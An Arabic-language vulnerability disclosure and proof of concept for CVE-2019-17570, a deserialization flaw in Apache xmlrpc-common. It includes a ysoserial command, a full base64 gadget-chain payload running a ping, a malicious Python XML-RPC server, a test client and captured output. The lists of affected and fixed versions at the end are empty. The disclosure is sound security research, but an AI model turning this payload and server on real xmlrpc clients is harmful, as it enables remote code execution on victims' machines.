
تفاصيل وإثبات المفهوم لـ CVE-2019-17570
هذه الملاحظة هي ملاحظة فنية لتفصيل السبب الجذري والاستغلال المرتبط. يمكنك العثور على الإفصاح الأولي هنا. رقم CVE المرتبط هو CVE-2019-17570.
يشكل xmlrpc-common قاعدة شفرة مشتركة بين xmlrpc-client و xmlrpc-server. تم تحديد ثغرة إلغاء التسلسل في طريقة org.apache.xmlrpc.parser.XmlRpcResponseParser.addResult(Object). تمكن هذه الثغرة خادم xmlrpc يتحكم به المهاجم من إرسال رد xmlrpc خبيث يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في عميل xmlrpc.
يتم تشغيل إلغاء التسلسل باستخدام أخطاء xmlrpc، والتي قد تحتوي على faultCause. تتم معالجة محتوى هذه العقدة كمصفوفة بايت، ثم يتم إلغاء تسلسلها لاحقًا إلى كائن Java باستخدام readObject():
protected void addResult(Object pResult) throws SAXException {
if (isSuccess) {
super.setResult(pResult);
} else {
Map map = (Map) pResult;
Integer faultCode = (Integer) map.get("faultCode");
if (faultCode == null) {
throw new SAXParseException("Missing faultCode", getDocumentLocator());
}
try {
errorCode = faultCode.intValue();
} catch (NumberFormatException e) {
throw new SAXParseException("Invalid faultCode: " + faultCode,
getDocumentLocator());
}
errorMessage = (String) map.get("faultString");
Object exception = map.get("faultCause");
if (exception != null) {
try {
byte[] bytes = (byte[]) exception;
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
errorCause = (Throwable) ois.readObject();
ois.close();
bais.close();
} catch (Throwable t) {
// Ignore me
}
}
}
}
تختلف هذه الثغرة عن CVE-2016-5003، التي تستغل نوع <ex:serialized> لتشغيل إلغاء التسلسل. تؤثر هذه الثغرة الجديدة على xmlrpc-common حتى في تكوينه الافتراضي مع تعطيل الامتدادات.
بينما توجد الثغرة في xmlrpc-common، فإن الاستغلال يتطلب استخدام سلسلة أدوات (gadgets chain) للحصول على تنفيذ تعليمات برمجية عن بُعد. تعتمد سلسلة الأدوات على الفئات المتوفرة في مسار الفئات (classpath). لأغراض العرض، أضاف إثبات المفهوم الخاص بنا Apache commons-collections-3.2.1 في مسار الفئات، وتم إنشاء سلسلة الأدوات باستخدام ysoserial.
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
قد ينفذ المهاجم تعليمات برمجية عشوائية في سياق عميل xmlrpc يستخدم إصدارات xmlrpc-common الثغرة.
يستخدم إثبات المفهوم الخاص بنا عميل اختبار xmlrpc مكتوبًا عن قصد، وخادم xmlrpc يتحكم به المهاجم.
الغرض الرئيسي من هذا الخادم هو تسليم الحمولة المسلسلة إلى العميل الثغرة. تم إنشاء الحمولة المسلسلة باستخدام:
$ java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "ping www.google.com" | base64
...
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAAU3QAA2FwcHQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0cHBzcQB+AAsBAAAANXEAfgANcQB+AA5xAH4AD3EAfgAQcHBzcQB+AAsBAAAAInEAfgANdAAZeXNvc2VyaWFsLkdlbmVyYXRlUGF5bG9hZHQAFEdlbmVyYXRlUGF5bG9hZC5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXlxAH4AAUwAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADZm9vc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AAXhwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAFWwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJ0AApnZXRSdW50aW1ldXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAdAAJZ2V0TWV0aG9kdXEAfgAvAAAAAnZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHZxAH4AL3NxAH4AKHVxAH4ALAAAAAJwdXEAfgAsAAAAAHQABmludm9rZXVxAH4ALwAAAAJ2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cQB+ACxzcQB+ACh1cgATW0xqYXZhLmxhbmcuU3RyaW5nO63SVufpHXtHAgAAeHAAAAABdAATcGluZyB3d3cuZ29vZ2xlLmNvbXQABGV4ZWN1cQB+AC8AAAABcQB+ADRzcQB+ACRzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
الخادم نفسه بسيط إلى حد ما، ويتكون بشكل أساسي من:
def create_fault_deser(payload):
return b'''<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>1337</int></value>
</member>
<member>
<name>faultString</name>
<value><string>You have been pwned</string></value>
</member>
<member>
<name>faultCause</name>
<value><base64>%s</base64></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
''' % (payload)
class Handler(http.server.SimpleHTTPRequestHandler):
def do_POST(self):
self.send_response(200)
self.send_header('Content-Type', 'text/xml')
self.end_headers()
self.wfile.write(create_fault_deser(PING_COMMONS_COLLECTIONS))
httpd = socketserver.TCPServer(('0.0.0.0', 8888), Handler)
httpd.serve_forever()
يتم تعيين المتغير PING_COMMONS_COLLECTIONS المستخدم أعلاه إلى مخرجات أمر ysoserial.
شفرة عميل الاختبار الخاص بنا هي:
package poc.xmlrpcdeser;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
import java.util.Hashtable;
import org.apache.xmlrpc.XmlRpcException;
import org.apache.xmlrpc.client.XmlRpcClient;
import org.apache.xmlrpc.client.XmlRpcClientConfigImpl;
public class VulnerableClient {
public static void main(String[] args) throws MalformedURLException, XmlRpcException {
String domainName = "http://127.0.0.1:8888";
String serverurl = domainName + "/RPC2";
XmlRpcClientConfigImpl config = new XmlRpcClientConfigImpl();
config.setServerURL(new URL(serverurl));
XmlRpcClient client = new XmlRpcClient();
client.setConfig(config);
Object[] params = new Object[]{"test", "'tell me you are alive' 1337"};
Object result = (Object) client.execute("xmlrpc-api", params);
}
}
بمجرد التجميع باستخدام make، قم بتشغيل تنفيذ التعليمات البرمجية باستخدام:
$ java -jar target/VulnerableClient-1.0-SNAPSHOT-jar-with-dependencies.jar
يتم تسليم الحمولة الخبيثة إلى الضحية البريئة:
$ ./xmlrpc-server.py
127.0.0.1 - - [redacted] "POST /RPC2 HTTP/1.1" 200 -
يفشل عميل الاختبار الخاص بنا:
Exception in thread "main" org.apache.xmlrpc.XmlRpcException: You have been pwned
at org.apache.xmlrpc.client.XmlRpcStreamTransport.readResponse(XmlRpcStreamTransport.java:205)
at org.apache.xmlrpc.client.XmlRpcStreamTransport.sendRequest(XmlRpcStreamTransport.java:156)
at org.apache.xmlrpc.client.XmlRpcHttpTransport.sendRequest(XmlRpcHttpTransport.java:143)
at org.apache.xmlrpc.client.XmlRpcSunHttpTransport.sendRequest(XmlRpcSunHttpTransport.java:69)
at org.apache.xmlrpc.client.XmlRpcClientWorker.execute(XmlRpcClientWorker.java:56)
at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:167)
at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:137)
at org.apache.xmlrpc.client.XmlRpcClient.execute(XmlRpcClient.java:126)
at poc.xmlrpcdeser.VulnerableClient.main(VulnerableClient.java:21)
Caused by: BadAttributeValueException: foo=1
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
Caused by:
BadAttributeValueException: foo=1
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:83)
at ysoserial.payloads.CommonsCollections5.getObject(CommonsCollections5.java:53)
at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
ولكن يتم تنفيذ الحمولة ping www.google.com:
1 0.000000 127.0.0.1 → 127.0.0.1 TCP 64 49378 → 8888 [SYN]
3 0.000084 127.0.0.1 → 127.0.0.1 TCP 64 8888 → 49378 [SYN, ACK]
5 0.000092 127.0.0.1 → 127.0.0.1 TCP 52 49378 → 8888 [ACK]
11 0.001955 127.0.0.1 → 127.0.0.1 HTTP/XML 259 POST /RPC2 HTTP/1.1
25 0.002905 127.0.0.1 → 127.0.0.1 HTTP/XML 52 HTTP/1.0 200 OK
29 0.133997 192.168.1.14 → 216.58.198.196 ICMP 84 Echo (ping) request id=0x1528, seq=0/0, ttl=64
34 0.149668 216.58.198.196 → 192.168.1.14 ICMP 84 Echo (ping) reply id=0x1528, seq=0/0, ttl=51 (request in 29)
35 1.139284 192.168.1.14 → 216.58.198.196 ICMP 84 Echo (ping) request id=0x1528, seq=1/256, ttl=64
36 1.153082 216.58.198.196 → 192.168.1.14 ICMP 84 Echo (ping) reply id=0x1528, seq=1/256, ttl=51 (request in 35)
يرجى ملاحظة أن مخرجات tshark تم تحريرها لعدم عرض الحزم غير الضرورية.
Guillaume TEISSIER (Orange) مجموعة Orange
يشكل xmlrpc-common أساس xmlrpc، ولا تشير إليه سوى بضع تحف. ولكن بالنظر إلى مستخدمي عميل xmlrpc، نجد 124 تحفة تدمج xmlrpc-common بطريقة غير مباشرة.
تؤثر الثغرة على الأقل في الإصدارات التالية:
الإصدارات التالية محصنة ضد هذه الثغرة، حيث لا تقوم بالبحث عن faultCause في الاستجابة المستلمة: